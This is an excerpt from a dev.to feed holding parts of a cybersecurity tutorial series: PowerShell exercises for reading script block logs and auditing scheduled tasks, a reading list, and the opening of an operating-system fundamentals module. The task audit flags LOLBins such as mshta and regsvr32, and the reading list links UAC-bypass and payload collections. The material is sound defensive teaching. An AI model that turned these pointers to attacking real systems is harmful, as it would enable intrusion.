    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4104&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 4. Understand what you see — the decoded content is logged, not just the encoded form&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: Scheduled Task Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete scheduled task audit&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Execute&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Arguments&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PSCustomObject&lt;/span&gt;&lt;span class="p"&gt;]@{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TaskName&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TaskPath&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;RunAs&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Principal&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UserId&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Triggers&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Triggers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ForEach&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetType&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-join&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;", "&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-join&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" | "&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c"&gt;# Flag potentially suspicious tasks&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"powershell|cmd\.exe|wscript|cscript|mshta|regsvr32"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-or&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RunAs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SYSTEM|S-1-5-18"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RunAs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Wrap&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Essential Reading
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Windows Internals" (Parts 1 &amp;amp; 2)&lt;/strong&gt; — Russinovich, Solomon, Ionescu. The definitive Windows OS reference. Heavy but essential.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The Hacker Playbook 3"&lt;/strong&gt; — Peter Kim. Windows post-exploitation and Active Directory attacks with practical examples.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MITRE ATT&amp;amp;CK for Windows&lt;/strong&gt; — attack.mitre.org — map every technique in this module to real adversary TTPs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Microsoft Documentation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Windows Security documentation: docs.microsoft.com/windows/security&lt;/li&gt;
&lt;li&gt;Windows Event IDs reference: docs.microsoft.com/windows/security/threat-protection/auditing&lt;/li&gt;
&lt;li&gt;Attack Surface Reduction rules: docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Essential Tools
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sysinternals Suite (mandatory download):
https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

Key tools:
- Autoruns      → Persistence auditing
- Process Explorer → Process investigation
- Process Monitor → Real-time file/registry/process activity
- TCPView        → Network connections to processes
- Strings        → Extract strings from binaries
- PsExec         → Remote execution (also understand as attack tool)
- AccessChk      → Permission auditing
- Sigcheck       → Verify digital signatures
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe&lt;/strong&gt; — "Windows Fundamentals 1-3" (free), "Blue" room, "Advent of Cyber"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HackTheBox&lt;/strong&gt; — Windows-based machines (Easy tier for starting)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CyberDefenders&lt;/strong&gt; — Windows forensics blue team challenges&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LetsDefend&lt;/strong&gt; — SOC analyst scenarios heavily focused on Windows&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Reference Sites
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LOLBAS Project&lt;/strong&gt; (lolbas-project.github.io) — Living off the Land Binaries and Scripts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UAC Bypass Techniques&lt;/strong&gt; — github.com/hfiref0x/UACME — comprehensive UAC bypass collection with explanations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PayloadsAllTheThings&lt;/strong&gt; — github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Core Security Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Windows Architecture&lt;/td&gt;
&lt;td&gt;ntoskrnl, lsass, svchost — process impersonation, credential access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;Persistence (Run keys), credential extraction (SAM/SYSTEM), forensic artefacts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User/Group Management&lt;/td&gt;
&lt;td&gt;Privilege escalation via group membership, token impersonation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Services&lt;/td&gt;
&lt;td&gt;Unquoted paths, weak binary permissions — service-based privesc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task Manager / Event Viewer&lt;/td&gt;
&lt;td&gt;Anomaly detection, forensic investigation, key Event IDs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Defender / AMSI&lt;/td&gt;
&lt;td&gt;Understanding evasion to build better detections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UAC&lt;/td&gt;
&lt;td&gt;Integrity levels, bypass techniques, not a security boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Firewall&lt;/td&gt;
&lt;td&gt;Host-based filtering, attacker modifications, WFP architecture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerShell&lt;/td&gt;
&lt;td&gt;LOLBin #1 — download cradles, encoding, script block logging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CMD&lt;/td&gt;
&lt;td&gt;Basic LOLBins, service manipulation, scheduled task abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task Scheduler&lt;/td&gt;
&lt;td&gt;Most common persistence mechanism — creation, detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Update&lt;/td&gt;
&lt;td&gt;WSUS poisoning risk, patch management, identifying missing patches&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-0.4-linux-fundamentals.md"&gt;Stage 0.4 — Linux Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-0.2-operating-system-fundamentals.md"&gt;Stage 0.2 — Operating System Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Full Roadmap Index&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques described are presented strictly for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>microsoft</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 0.2 — Operating System Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Wed, 27 May 2026 05:57:14 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-02-operating-system-fundamentals-51l1</link>
      <guid>https://dev.to/rencberakman/stage-02-operating-system-fundamentals-51l1</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 0 — Computer Science Foundations&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 0.2 — Operating System Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Intermediate&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0.1 — Hardware Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 0.3 — Windows Fundamentals&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Operating Systems Matter in Cybersecurity&lt;/li&gt;
&lt;li&gt;What Is an Operating System and How Does It Work&lt;/li&gt;
&lt;li&gt;The Kernel — The Heart of Everything&lt;/li&gt;
&lt;li&gt;User Mode vs Kernel Mode&lt;/li&gt;
&lt;li&gt;Processes and Threads&lt;/li&gt;
&lt;li&gt;File System Structures — NTFS, ext4, FAT32&lt;/li&gt;
&lt;li&gt;Memory Management&lt;/li&gt;
&lt;li&gt;System Calls&lt;/li&gt;
&lt;li&gt;Key Takeaways and Security Mindset&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Operating Systems Matter in Cybersecurity
&lt;/h2&gt;

&lt;p&gt;Every single attack you will ever study, execute in a lab, or defend against happens &lt;strong&gt;inside an operating system&lt;/strong&gt;. Malware runs as a process. Privilege escalation exploits the boundary between user mode and kernel mode. Ransomware encrypts files by abusing the file system. Rootkits hook into the kernel. Memory injection attacks manipulate process memory. Shell access means OS access.&lt;/p&gt;

&lt;p&gt;If you do not understand how an operating system works from the inside, you are essentially trying to pick a lock without knowing how a lock works. You might get lucky occasionally, but you will never be consistent, and you will never be truly dangerous as a professional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path specifically:&lt;/strong&gt; SCADA systems, PLCs, RTUs, and HMIs all run operating systems — sometimes Windows, sometimes Linux, sometimes proprietary real-time operating systems (RTOS). When you assess the security of a power substation's control system or a hospital's building management system, you are assessing an OS. Understanding the foundations here carries directly into every specialised area you will encounter later.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;The OS is both the defender and the battlefield. Attackers abuse OS mechanisms. Defenders understand the same mechanisms to detect abuse. There is no shortcut around this.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Is an Operating System and How Does It Work
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Core Definition
&lt;/h3&gt;

&lt;p&gt;An operating system is software that acts as an intermediary between hardware and applications. It does three fundamental things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Abstracts hardware&lt;/strong&gt; — Applications do not talk to hardware directly. They talk to the OS, which talks to hardware. This is why the same Python script runs on Intel, AMD, and ARM without modification.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Manages resources&lt;/strong&gt; — CPU time, RAM, storage, and I/O devices are shared among many processes. The OS decides who gets what and when.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enforces isolation and security&lt;/strong&gt; — The OS ensures one process cannot read another process's memory, one user cannot access another user's files, and unprivileged code cannot control hardware directly.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  2.2 Major Operating System Families
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Family&lt;/th&gt;
&lt;th&gt;Examples&lt;/th&gt;
&lt;th&gt;Primary Use&lt;/th&gt;
&lt;th&gt;Security Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Windows NT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows 10/11, Windows Server&lt;/td&gt;
&lt;td&gt;Desktop, enterprise&lt;/td&gt;
&lt;td&gt;Most attacked OS in the world; AD environments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unix/Linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ubuntu, Debian, CentOS, Kali&lt;/td&gt;
&lt;td&gt;Servers, embedded, security tools&lt;/td&gt;
&lt;td&gt;Most servers run Linux; all security tools target it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;macOS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;macOS Ventura, Sonoma&lt;/td&gt;
&lt;td&gt;Apple desktops/laptops&lt;/td&gt;
&lt;td&gt;Growing target; shares Unix base with Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Android&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Android 13/14&lt;/td&gt;
&lt;td&gt;Mobile&lt;/td&gt;
&lt;td&gt;Linux kernel underneath&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RTOS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;VxWorks, QNX, FreeRTOS&lt;/td&gt;
&lt;td&gt;Industrial, embedded, OT&lt;/td&gt;
&lt;td&gt;PLCs, RTUs, medical devices, avionics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Proprietary ICS OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Various vendor-specific&lt;/td&gt;
&lt;td&gt;SCADA, HMI&lt;/td&gt;
&lt;td&gt;Legacy, rarely patched, extremely vulnerable&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;OT/ICS Note:&lt;/strong&gt; The RTOS family is critical for your path. VxWorks runs on Boeing 737 systems, Mars rovers, and countless industrial controllers. QNX powers car infotainment, medical devices, and industrial automation. These systems have their own vulnerability profiles and attack surfaces that differ significantly from Windows or Linux. Understanding general OS concepts here gives you the foundation to approach any OS — including the proprietary ones you will encounter in industrial environments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  2.3 The OS Architecture — Big Picture
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│              USER APPLICATIONS                  │
│    (Browser, Word, Malware, Security Tools)     │
├─────────────────────────────────────────────────┤
│              SYSTEM LIBRARIES                   │
│         (glibc, Win32 API, POSIX)               │
├─────────────────────────────────────────────────┤
│              SYSTEM CALL INTERFACE              │
│         (The bridge between worlds)             │
├═════════════════════════════════════════════════╡  ← Security Boundary
│                  KERNEL                         │
│  ┌──────────┐ ┌──────────┐ ┌────────────────┐  │
│  │ Process  │ │ Memory   │ │  File System   │  │
│  │ Manager  │ │ Manager  │ │  Driver        │  │
│  ├──────────┤ ├──────────┤ ├────────────────┤  │
│  │ Network  │ │ Device   │ │  Security      │  │
│  │ Stack    │ │ Drivers  │ │  Module        │  │
│  └──────────┘ └──────────┘ └────────────────┘  │
├─────────────────────────────────────────────────┤
│              HARDWARE                           │
│      (CPU, RAM, Disk, Network Interface)        │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This layered architecture is the foundation of every security concept you will study. The line between user applications and the kernel is the most important security boundary in modern computing.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 Monolithic vs Microkernel vs Hybrid
&lt;/h3&gt;

&lt;p&gt;Understanding kernel architecture types gives you insight into why different OSes have different attack surfaces:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monolithic Kernel (Linux):&lt;/strong&gt;&lt;br&gt;
All OS services — file systems, device drivers, network stack — run in kernel space (Ring 0). Fast because there is no context switching between kernel components. But a bug in any driver can crash or compromise the entire system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linux Kernel Space:
[Scheduler] [Memory Manager] [File Systems] [Network Stack] [Drivers] — all at Ring 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Microkernel (QNX, Minix):&lt;/strong&gt;&lt;br&gt;
Only the bare minimum runs in kernel space. Everything else — drivers, file systems — runs in user space. A bug in a driver does not crash the kernel. Slower due to inter-process communication overhead but much more fault-tolerant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;QNX Kernel Space: [IPC] [Scheduler] [Basic Memory] — minimal
User Space:       [Drivers] [File Systems] [Network Stack] — isolated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hybrid Kernel (Windows NT, macOS XNU):&lt;/strong&gt;&lt;br&gt;
A pragmatic blend. Core services in kernel, some services in user space. Windows has a separate subsystem process (csrss.exe) for some Win32 services, but most runs in kernel space for performance.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security Insight:&lt;/strong&gt; QNX's microkernel design is why it is used in safety-critical systems — a fault in one component does not take down the entire system. This is directly relevant to OT/ICS: when evaluating industrial systems, the kernel architecture tells you a lot about fault isolation and what happens when one component is compromised.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  3. The Kernel — The Heart of Everything
&lt;/h2&gt;
&lt;h3&gt;
  
  
  3.1 What the Kernel Is
&lt;/h3&gt;

&lt;p&gt;The kernel is the core of the operating system. It is the first software that loads after the bootloader and the last software that runs. It is the only software with direct, unrestricted access to hardware.&lt;/p&gt;

&lt;p&gt;Everything else — every application, every service, every process — runs in a sandboxed environment and must ask the kernel for resources through a controlled interface called system calls.&lt;/p&gt;

&lt;p&gt;The kernel has four primary responsibilities:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Process Management&lt;/strong&gt;&lt;br&gt;
Creating, scheduling, pausing, and killing processes. Deciding which process runs on which CPU core at what time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Memory Management&lt;/strong&gt;&lt;br&gt;
Allocating and freeing RAM. Creating virtual address spaces for each process. Enforcing memory isolation between processes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Device Management&lt;/strong&gt;&lt;br&gt;
Communicating with hardware via device drivers. Abstracting hardware differences so applications do not need hardware-specific code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. File System Management&lt;/strong&gt;&lt;br&gt;
Organising storage into a consistent interface. Enforcing access permissions on files and directories.&lt;/p&gt;
&lt;h3&gt;
  
  
  3.2 The Kernel as the Ultimate Security Authority
&lt;/h3&gt;

&lt;p&gt;The kernel enforces every software-level security control:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;File permissions&lt;/strong&gt; — The kernel checks if you have read/write/execute permission before allowing file access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process isolation&lt;/strong&gt; — The kernel enforces that Process A cannot read Process B's memory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege enforcement&lt;/strong&gt; — The kernel enforces that user-mode code cannot execute privileged CPU instructions.&lt;/li&gt;
